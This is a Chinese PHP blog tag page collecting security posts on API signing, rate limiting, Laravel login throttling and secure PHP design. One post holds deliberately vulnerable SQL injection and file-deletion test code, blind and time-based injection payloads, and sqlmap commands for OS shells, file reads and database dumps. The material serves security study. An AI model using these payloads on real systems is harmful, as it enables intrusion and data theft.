Deprecated
: htmlspecialchars(): Passing null to parameter #1 ($string) of type string is deprecated in
/www/wwwroot/testblog.58heshihu.com/var/Widget/Archive.php
on line
1057
首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
182 阅读
2
php接口优化 使用curl_multi_init批量请求
144 阅读
3
《从菜鸟到大师之路 ElasticSearch 篇》
107 阅读
4
2024年备考系统架构设计师
104 阅读
5
PHP 文件I/O
92 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
786
篇文章
累计收到
28
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
24
篇与
的结果
2023-12-28
Api接口如何防止被刷?
Api接口如何防止被刷?当今,越来越多的应用程序和服务都提供了API接口,使得开发人员可以方便地与这些应用程序和服务进行交互。但是,由于API接口是公开的,因此很容易被黑客利用,对系统造成损害。为了确保API接口的安全性,我们需要采取一些措施,例如使用签名机制和限流机制来增强接口的安全性。在本文中,我们将介绍如何使用PHP实现这些措施,并防止API接口被恶意刷。首先,我们将介绍如何使用签名机制来增强API接口的安全性。签名机制基于密钥和哈希算法,用于确保请求参数的完整性和真实性。在API接口的请求中,客户端需要生成一个签名,并将签名添加到请求参数中。服务端收到请求后,根据请求参数、密钥和哈希算法重新计算签名,并将计算得到的签名与请求中的签名进行比较。如果两个签名相等,则表明请求参数没有被篡改,请求是合法的。否则,请求将被视为非法请求,服务端将不予处理。以下是一个简单的示例,客户端请求代码:// 客户端请求数据 $data = array( 'name' => 'John Smith', 'email' => 'john.smith@example.com', 'phone' => '1234567890', ); // 计算签名 $timestamp = time(); $nonce = uniqid(); $signature = sha1($secret_key . $timestamp . $nonce . json_encode($data)); // 发送请求 $url = 'http://example.com/api'; $data['timestamp'] = $timestamp; $data['nonce'] = $nonce; $data['signature'] = $signature; $response = http_post($url, $data); // 处理服务器响应 // ...服务端代码:$ip_address = $_SERVER['REMOTE_ADDR']; $redis = new Redis(); $redis->connect('127.0.0.1', 6379); // 获取IP地址在60秒内已经发送的请求数 $count = $redis->get($ip_address); if ($count === false) { // 如果没有记录,则设置初始值为1,并设置过期时间为60秒 $redis->setex($ip_address, 60, 1); } else { // 如果有记录,则增加计数器 $redis->incr($ip_address); $count = $redis->get($ip_address); if ($count > 10) { // 如果超过了10次,则返回错误信息 die("Too many requests"); } } // 接收请求参数 $timestamp = $_POST['timestamp']; $nonce = $_POST['nonce']; $signature = $_POST['signature']; $data = $_POST['data']; // 判断时间戳是否过期 if (time() - $timestamp > 60) { die("Timestamp expired"); } // 判断nonce是否已经被使用过 if (in_array($nonce, $used_nonces)) { die("Nonce already used"); } else { $used_nonces[] = $nonce; } // 计算签名 $expected_signature = sha1($secret_key . $timestamp . $nonce . $data); // 验证签名是否正确 if ($signature != $expected_signature) { die("Invalid signature"); } // 处理请求数据 // ...这段代码首先获取客户端的IP地址,并连接到Redis服务器。然后获取IP地址在60秒内已经发送的请求数,如果超过了10次,则返回错误信息。接着接收请求参数,包括时间戳、随机数、签名和请求数据。然后判断时间戳是否过期,如果过期则返回错误信息。接下来判断随机数是否已经被使用过,如果使用过则返回错误信息,否则将随机数添加到已使用随机数的列表中。接着计算预期的签名,如果实际签名与预期签名不一致,则返回错误信息。最后处理请求数据。除了签名机制和限流机制,我们还可以采取其他措施来增强API接口的安全性。以下是一些常见的措施:HTTPS协议:使用HTTPS协议可以确保请求和响应数据的安全传输,防止数据被窃取和篡改。访问控制:对API接口进行访问控制,只允许授权用户使用API接口。输入验证:对所有输入数据进行验证和过滤,防止恶意用户通过构造恶意输入来攻击系统。日志记录:记录API接口的访问日志,包括访问者IP地址、请求时间、请求参数等信息,以便于追踪和排查问题。安全审计:定期进行安全审计,发现和修复潜在的安全漏洞,确保API接口的安全性。综上所述,API接口的安全性对于任何一个应用程序或服务都是至关重要的。为了确保API接口的安全性,我们可以采取多种措施,例如使用签名机制、限流机制、HTTPS协议、访问控制、输入验证、日志记录和安全审计等。通过这些措施的综合应用,我们可以提高API接口的安全性和稳定性,保护系统不受恶意攻击。
2023年12月28日
16 阅读
0 评论
0 点赞
2023-12-25
PHP安全编码总结笔记之SQL注入
PHP安全编码总结笔记之SQL注入SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。<?php function get_client_addr() { if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) { $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; } else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; } else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; } else { $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。<?php $var = date_default_timezone_get(); echo "当前时区: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if (!get_magic_quotes_gpc()) { $var = waf($_GET['id']); echo "过滤后的参数: " . $var; } function waf($array) { if (is_array($array)) { foreach ($array as $key => $value) { $array [$key] = waf($value); } } else if (is_string($array)) { $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr, $array); } else if (is_numeric($array)) { $array = intval($array); } return $array; } ?>盲注的使用首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.<!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入测试代码</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查询完成了.."); }else { print("查询失败"); } } } ?> <body> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l index.php?id=1')=121 --+ // 验证第二位是否为y,以此类推猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0// 存在lyshark表猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度 index.php?id=1' and (select user() like 'root%') # // 猜测用户名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒◆sqlmap 命令◆常用检测命令:sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别 sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限 sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限 sqlmap -u "./index.php?id=1" --all # 查询所有数据库 sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名 sqlmap -u "./index.php?id=1" --is-dba # 判断root权限 sqlmap -u "./index.php?id=1" --users # 枚举数据库用户 sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录 sqlmap -u "./index.php?id=1" --file-read="" # 读取文件 sqlmap -u "./index.php?id=1" --file-write="" # 写入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令 sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库 sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名 sqlmap -u "./index.php?id=1" --users # 查询所有用户名 sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库 sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dumpCookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns--dump --level 2 #猜内容POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.1.浏览器打开目标地址 http://www.xxx.com/index.php2.配置burp代理(127.0.0.1:8080) 准备拦截请求3.点击login表单的submit按钮,或者其他按钮均可4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submitsqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"其他漏洞利用任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "当前路径是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "删除完成.."; } else { echo "删除失败.."; } } ?>
2023年12月25日
9 阅读
0 评论
0 点赞
2023-08-11
Laravel 登录失败次数限制
Laravel 登录失败次数限制在用户身份验证的情况下,Laravel 具有内置的身份验证系统。我们可以根据要求轻松修改它。身份验证中包含的功能之一是Throttling.为什么我们需要throttling保护?基本上,throttling是用来保护暴力攻击的。它将在一定时间内检查登录尝试。在短登录中,throttling会计算用户或机器人尝试失败的登录尝试次数。使用自定义登录实现限制默认情况下,在内置身份验证控制器中实现限制。但是,如果我们需要实现它到自定义登录呢?实现自定义登录限制非常容易。首先,我们必须将ThrottlesLogins trait包含到您的控制器中。use Illuminate\Foundation\Auth\ThrottlesLogins;现在,将此ThrottlesLogins trait 加到控制器中。namespace App\Http\Controllers;use Illuminate\Http\Request;use Illuminate\Foundation\Auth\ThrottlesLogins;class AuthController extends Controller{use ThrottlesLogins; ......现在转到用于对用户进行身份验证的方法。在我的例子中,我使用了 login() POST 方法。并粘贴以下代码:public function login(Request $request){// Authenticate Inputs $request->validate([ 'username' => 'required', 'password' => 'required|min:6|max:18' ]); // If the class is using the ThrottlesLogins trait, we can automatically throttle // the login attempts for this application. We'll key this by the username and // the IP address of the client making these requests into this application. if (method_exists($this, 'hasTooManyLoginAttempts') && $this->hasTooManyLoginAttempts($request)) { $this->fireLockoutEvent($request); return $this->sendLockoutResponse($request); } .......首先,我们验证了用户提交的输入,然后实现了hasTooManyLoginAttempts() 方法。此方法将检查用户在某个时间是否执行过一定数量的失败尝试,然后系统将通过sendLockoutResponse() 方法阻止该用户。现在,我们必须通过incrementLoginAttempts()方法指示对ThrottlesLogins trait的失败登录尝试。if( Auth::attempt(['username' => $username, 'password' => $password]) ){// Redirect to appropriate dashboard }else {// If the login attempt was unsuccessful we will increment the number of attempts // to login and redirect the user back to the login form. Of course, when this // user surpasses their maximum number of attempts they will get locked out. $this->incrementLoginAttempts($request); return redirect()->back() ->withInput($request->all()) ->withErrors(['error' => 'Please check your username / password.']);}您还可以通过$maxAttempts和$decayMinutes属性更改允许的最大尝试次数和限制的分钟数。在这里,您可以找到完整的代码。<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;use Illuminate\Foundation\Auth\ThrottlesLogins;class AuthController extends Controller{use ThrottlesLogins; /** * The maximum number of attempts to allow. * * @return int */ protected $maxAttempts = 5; /** * The number of minutes to throttle for. * * @return int */ protected $decayMinutes = 1; public function login(Request $request) { // Authenticate Inputs $request->validate([ 'username' => 'required', 'password' => 'required|min:6|max:18' ]); // If the class is using the ThrottlesLogins trait, we can automatically throttle // the login attempts for this application. We'll key this by the username and // the IP address of the client making these requests into this application. if (method_exists($this, 'hasTooManyLoginAttempts') && $this->hasTooManyLoginAttempts($request)) { $this->fireLockoutEvent($request); return $this->sendLockoutResponse($request); } $username = $request->username; $password = $request->password; if( Auth::attempt(['username' => $username, 'password' => $password]) ){ // Redirect to appropriate dashboard } else { // If the login attempt was unsuccessful we will increment the number of attempts // to login and redirect the user back to the login form. Of course, when this // user surpasses their maximum number of attempts they will get locked out. $this->incrementLoginAttempts($request); return redirect()->back() ->withInput($request->all()) ->withErrors(['error' => 'Please check your username / password.']); } }}Related Posts:
2023年08月11日
15 阅读
0 评论
0 点赞
2023-08-10
PHP 应用程序安全设计指北
PHP 应用程序安全设计指北前言2018 年将至,一般程序员(特别是 Web 开发程序员)应当抛弃过去开发PHP程序的很多不好的习惯和观念了。虽然部分人不以为意,但是这确实是事实。这个指南应该以重点部分作为 PHP: The Right Way 安全章节的补充,而不是以一般的 PHP 编程话题。正文PHP 版本请在 2018 年使用 PHP 7.2, 并且计划 2019 年初切换到 PHP 7.3。PHP 7.2 已于 2017 年 11 月 30 日发布。写这篇文章的时候,只有 7.1 和 7.2 版本还在被 PHP 官方积极维护,而 5.6 和 7.0 只在大概1年内提供安全补丁更新。对于其他官方不维护的 PHP 版本,虽然某些操作系统会提供长期支持和维护,但这其实通常是有害的。尤其是他们提供安全支持补丁却没有版本号,这使得很难解释系统的安全性(仅仅知道 PHP 版本)。因此,无论其他供应商提出了什么承诺,如果可以,你就应该在任何时候都坚决地使用官方提供支持的 PHP 版本。这样,尽管最终是一个短暂的安全版本,但一个不断致力于升级的版本,总会让你收获一些意外的惊喜。依赖管理人生苦短,我用 Composer在 PHP 生态中,Composer 是最先进的依赖管理方案。我们推荐 PHP: The Right Way 中关于依赖管理的完整章节。如果你没有使用 Composer 来管理应用的依赖,最终(hopefully later but most likely sooner)会导致应用里某个依赖会严重过时,然后老旧版本中的漏洞会被利用于计算机犯罪。重要: 开发软件时,时常记得保持依赖的更新。幸运地,这只需一行命令:1composer update如果你正在使用某些专业的,需要使用 PHP 扩展(C 语言编写),那你不能使用 Composer 管理,而需要 PECL 。推荐扩展不管你正在编写什么,你总会受益于这些依赖。这是除了大多数 PHP 程序员的推荐(PHPUnit, PHP-CS-Fixer, …)外的补充。roave/security-advisoriesRoave’s security-advisories 使用 Friends of PHP repository 确保你的项目没有依赖一些已知易受攻击的依赖。1composer require roave/security-advisories:dev-master或者,你可以上传你的composer.lock文件到 Sensio Labs ,作为例行自动化漏洞评估工作流的一部分,以提醒发现任何过时的软件包。vimeo/psalmPsalm 是一个帮助你识别代码里可能存在 bugs 的静态分析工具。还有其他很好的静态分析工具(例如 Phan 和 PHPStan 都很棒),但当你发现你需要支持 PHP 5,Psalm 将是 PHP 5.4+ 的首选。使用 Psalm 挺简单:12345678Version 1 doesn't exist yet, but it will one day:composer require --dev vimeo/psalm:^0Only do this once:vendor/bin/psalm --initDo this as often as you need:vendor/bin/psalm如果你是第一次在现有代码库运行,可能会看到很多红色错误。但除非你在构建像 WordPress 那么大的程序,否则努力通过所有测试绝不是艰巨的。无论使用哪种静态分析工具,我们都推荐你能将他加入到持续集成工作流(Continuous Integration workflow)中,以便在每次更改代码中运行。HTTPS 和浏览器安全HTTPS, which should be tested, and security headers .2018 年,不安全的 HTTP 网站将不再被接受。幸运的是,由于 ACME 协议 和 Let’s Encrypt certificate authority,免费的 TLS 证书成为了可能。将 ACME 集成到你的服务器,小菜一碟。Caddy: 自动加入。Apache: 很快作为mod_md可用。在此之前,网上很多高质量教程。Nginx: 相对简单。你也许会想,“好,我已经有 TLS 证书了,为了网站变得安全和快速,得花些时间折腾配置信息。”不!Mozilla做了件好事情!。你可以根据网站的目标受众,使用配置生成器生成推荐套件。如果你希望网站安全,HTTPS ( HTTP over TLS ) 是绝对不能妥协的。使用 HTTPS 立刻就能消除多种攻击(中间人攻击、窃听、重放攻击以及若干允许用户模仿的会话形式的攻击)。安全头在服务器使用 HTTPS 确实为用户提供了许多安全性和性能方面的好处,但也还能通过利用某些浏览器的安全功能来进一步提升安全性。而这大部分会涉及到响应内容的安全头。Content-Security-Policy 1 2 3 4 5 6 7 - 你需要该 Header ,因为它提供了对于浏览器是否允许加载内部和外部资源的细化控制,从而为跨域脚本攻击漏洞提供了有效防御层。 - 参阅 [CSP-Builder](https://link.juejin.im/?target=https%3A%2F%2Fgithub.com%2Fparagonie%2Fcsp-builder),以便快速简便地部署/管理内容安全策略(Content Security Policies)。 - 为了更加深入的分析, Scott Helme's [introduction to Content-Security-Policy headers](https://link.juejin.im/?target=https%3A%2F%2Fscotthelme.co.uk%2Fcontent-security-policy-an-introduction%2F),会是一个很好的引导。 - ```http Expect-CT 你需要该 Header ,因为它能通过强制某些不良行为者将其错误证书的证据颁发到可公开验证的仅可追加的数据结构,从而针对流氓/受损的证书颁发机构增加一层防护。 优先设置为enforce,max-age=30。只要你有足够的自信该 Header 不会造成服务中断,增加max-age吧。Referrer-Policy1234567你需要该 Header ,因为它允许你控制用户的行为信息是否泄露给第三方。同样地,Scott Helme 提供了一篇关于Referrer-Policy Header 介绍好文。除非有理由允许更加宽松的设置,否则请设置为same-origin或no-referrer。Strict-Transport-Security 你需要该 Header ,因为它告诉浏览器通过 HTTPS 而不是不安全的 HTTP ,将 future requests 设为同源。 在第一次部署时,将其设置为max-age = 30,然后当你确信没有任何内容会中断时,将此值增加到某个较大的值(例如 31536000)。X-Content-Type-Options123456你需要该 Header ,因为 MIME 类型的混淆可能会导致不可预知的结果,包括奇怪的允许 XSS 漏洞的边缘情况。这最好伴随着一个标准的 Content-Type Header 。除非需要默认的行为(例如文件的下载),否则请设置为nosniff。X-Frame-Options 你需要该 Header ,因为它允许你防止点击劫持。 设置为DENY (或者SAMEORIGIN, 但仅仅当你使用<frame>元素的时候)。X-XSS-Protection123456789101112你需要该 Header ,因为它启用了一些默认情况下未启用的浏览器反 XSS 功能。设置为1; mode=block。同样,如果你使用 PHP 的内置会话管理功能(建议使用),则可能需要这样调用session_start():<?php session_start([ 'cookie_httponly' => true, 'cookie_secure' => true ]); 这会强制你的应用在发送会话标识符时使用 HTTP-Only 和 Secure 标志,从而防止 XSS 攻击窃取用户的 Cookie ,并强制它们分别通过 HTTPS 发送。 我们之前在 2015 年的博客文章中介绍了安全的 PHP 会话。 子资源完整性 在将来的某个时候,你也许会使用 CDN 来加载网站的公共 JavaScript/CSS 库。安全工程师已经遇见了这存在一个明显的风险,如果很多网站使用 CDN 提供内容,Hack 和替换 CDN(获得了 CDN 的控制权)就可以注入(恶意)代码到成千上万的网站。 查阅子资源完整性吧。 子资源完整性(SRI,Subresource integrity)允许你将希望 CDN 服务的文件的内容进行哈希处理。目前实行的 SRI 只允许使用安全的密码散列函数,这意味着攻击者不可能生成与原始文件哈希相同的恶意版本资源。 一个真实例子: Bootstrap v4-alpha uses SRI in their CDN example snippet 1 2 3 4 5 6 7 8 9 10 11 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous" /> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous" ></script> 文档关系 Web 开发人员经常在超链接上设置目标属性(例如,target ="_ blank"在新窗口中打开链接)。但是,如果你没有传递rel ="noopener"标签,则可以允许目标页面控制当前页面。 不要这样做: 1 <a href="http://example.com" target="_blank">Click here</a> 这会让http://example.com页面能控制当前页面。 而应该这样做: 1 <a href="https://example.com" target="_blank" rel="noopener noreferrer">Click here</a> 通过这样在新窗口打开https://example.com,当前窗口的控制权也不会授予可能的恶意第三方。 可以更加深入研究。 开发安全的 PHP 程序 如果应用程序安全性对你来说是一个新话题,请从应用程序安全性简介开始吧。 大多数安全专家指出,开发者可以使用 OWASP Top 10 等资源开始着手。 但是,大多数常见的漏洞也可以是相同高等级的安全问题(例如代码和数据没有完全分离、逻辑不严谨和健全、操作环境不安全或是可破译的密码协议等)。 我们的假设是,应该授予安全新手知道一些更简单、基础的安全知识和问题,并如何解决这些问题,应该是一个更好的、长远的安全工程。 因此,我们避免推荐十大或二十大安全清单。 数据库注入 避免 PHP 程序存在 SQL 注入。 如果你是自己编写 SQL 代码,请确保使用prepared语句,并且从网络或文件系统提供的信息都作为参数传递,而不是字符串拼接的形式。此外,确保你没有使用模拟的prepared语句。 为了达到好的效果,可以使用 EasyDB 。 不要这样做: 1 2 3 <?php /* Insecure code: */ $query = $pdo->query("SELECT * FROM users WHERE username = '" . $_GET['username'] . "'"); 应该这样做: 1 2 3 <?php /* Secure against SQL injection: */ $results = $easydb->row("SELECT * FROM users WHERE username = ?", $_GET['username']); 还有其他数据库抽象层提供了相同的安全性(EasyDB实际上是在使用 PDO ,但在实际的prepare语句前避免了prepared语句模拟)。 只要用户输入不会影响查询的结构,就很安全(包括存储过程)。 文件上传 深入:如何安全地允许用户上传文件? 接受文件上传是一个冒险的提议,但只要采取一些基本的预防措施,是能保证安全的。也就是说,允许文件直接上传的话,这些文件可能会被意外的允许执行或解释。上传的文件应该是只读(read-only)或读写(read-write)的,永远不应该可执行(executable)。 如果你的网站根目录是/var/www/example.com,请不要保存上传文件在/var/www/example.com/uploaded_files。 而应该保存到一个不能直接访问的目录(例如:/var/www/example.com-uploaded/),以免意外地将其作为服务器端脚本执行,并获得执行远程代码的后门。 一个更加简洁的方法是将网站根目录往下移动一个层级(即:/var/www/example.com/public)。 如何安全地下载这些上传文件也是一个问题。 直接访问 SVG 图像类型时,将在用户浏览器执行 JavaScript 代码。尽管它的MIME类型中的image/前缀具有误导性,但是这是正确的。 正如前面提及的,MIME 类型嗅探可能导致类型混淆攻击。请参阅X-Content-Type-Options。 如果你放弃前面关于如何安全地存储上传文件的建议,攻击者就会通过上传 .php 或 .phtml 文件,直接在浏览器中访问文件来执行任意代码,从而完全控制服务器。 跨站脚本 关于 PHP 中的跨站脚本攻击,你想知道的都在这里 同样地,预防 XSS 和 SQL 注入是一样简单的。我们有简单而易用的 API 来分离文档结构(structure of a document)和填充的数据。 然而,实际上还有很多 Web 开发程序员仍是通过生成一大串 HTML 代码作为响应的形式开发。并且,这不是 PHP 独有的现实,这是所有 Web 开发程序员都应该重视的。 减少 XSS 漏洞不失为一个好方法。总之,前面谈及的浏览器安全的章节就显得十分相关了。简言之: 尽量避免输出和输入(Always escape on output, never on input)。如果你把已清洗的数据(sanitized data)保存在数据库,然后在其它地方被发现了 SQL 注入漏洞,攻击者将通过恶意程序污染这些受信任的已清洗数据(trusted-to-be-sanitized record),从而绕开 XSS 保护。 如果你的框架有一个提供自动上下文过滤的模板引擎,那就使用它吧。这些工作可由框架安全地做到。 echo htmlentities($ string,ENT_QUOTES | ENT_HTML5,'UTF-8') 是一种安全、有效的方法阻止UTF-8编码的网页上的所有 XSS 攻击,但不是任何 HTML 都有效。 如果你的环境要求你使用 Markdown 而不是 HTML ,那就不要使用 HTML 了。 如果你需要使用原生 HTML(没有使用模板引擎),参阅第一点,并且使用 HTML Purifier 吧。HTML Purifier 不适合转义为 HTML 属性上下文(HTML attribute context)。 跨站请求伪造 跨站请求伪造(CSRF)是一种混淆的代理攻击,通过诱导用户的浏览器代表攻击者执行恶意的 HTTP 请求(使用的是该用户的权限)。 这在一般情况下是很容易解决的,只需两步: 使用 HTTPS 。这是先决条件。没有 HTTPS 的话,任何保护措施都是脆弱的,虽然 HTTPS 本身并不防御 CSRF 。 增加基本的 Challenge-response authentication。 为每个表单添加一个隐藏的表单属性。 填充一个密码安全的随机值(称为令牌)。 验证是否提供了隐藏的表单属性,以及是否匹配上期望值。 我们写了一个名为 Anti-CSRF 的库,并且: 你可以使每个令牌只能使用一次,以防止重放攻击。 多个令牌存储在后端。 一旦令牌获取完,令牌会循环使用。 每个令牌可以绑定特定的 URL 。 如果某个令牌泄露了,它不能在不同的上下文使用。 令牌可以绑定特定的 IP 地址。 v2.1 后,令牌可以重复使用(例如供 Ajax 使用)。 如果你没有使用防止 CSRF 漏洞的框架,请将 Anti-CSRF 放在一边。在不久的将来,SameSite cookies将允许我们更简单地避免CSRF攻击。 XML 攻击 (XXE, XPath Injection) 在处理大量 XML 的应用程序中存在两个主要的漏洞: XML External Entities (XXE) XPath 注入 除此之外, XXE 攻击可用作包含攻击代码的本地/远程文件的启动器。 早期版本的 Google Docs 被着名于 XXE ,但除了在很大程度上使用 XML 的商业应用程序之外,基本闻所未闻。 针对 XXE 袭击的主要缓解措施: 1 2 <?php libxml_disable_entity_loader(true); 除 XML 文档外,XPath注入与 SQL 注入非常相似。 幸运的是,将用户输入传递给 XPath 查询的情况在 PHP 生态中非常罕见。 而不幸的是,这也意味着 PHP 生态中不存在可用的最佳避免措施(预编译和参数化 XPath 查询)。最好的办法是在任何涉及 XPath 查询的数据上设置允许使用的字符白名单。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php declare(strict_types=1); class SafeXPathEscaper { /** * @param string $input * @return string */ public static function allowAlphaNumeric(string $input): string { return \preg_replace('#[^A-Za-z0-9]#', '', $input); } /** * @param string $input * @return string */ public static function allowNumeric(string $input): string { return \preg_replace('#[^0-9]#', '', $input); } } // Usage: $selected = $xml->xpath( "/user/username/" . SafeXPathEscaper::allowAlphaNumeric( $_GET['username'] ) ); 白名单总会比黑名单更安全。 反序列化和 PHP 对象注入 深入: 在PHP中安全地实现(反)序列化 如果你将不可信的数据传递给unserialize(),则通常是这两个结果之一: PHP 对象注入,它能用于启动 POP 链(POP chain)并触发其他误用对象的漏洞。 PHP 解释器本身的内存损坏。 大多数开发人员更喜欢使用JSON序列化,这是对其软件安全状况的显著改进。但请记住,json_decode()容易受到散列冲突拒绝服务(Hash-DoS)攻击。不幸的是,PHP的Hash-DOS问题还没有得到彻底解决。 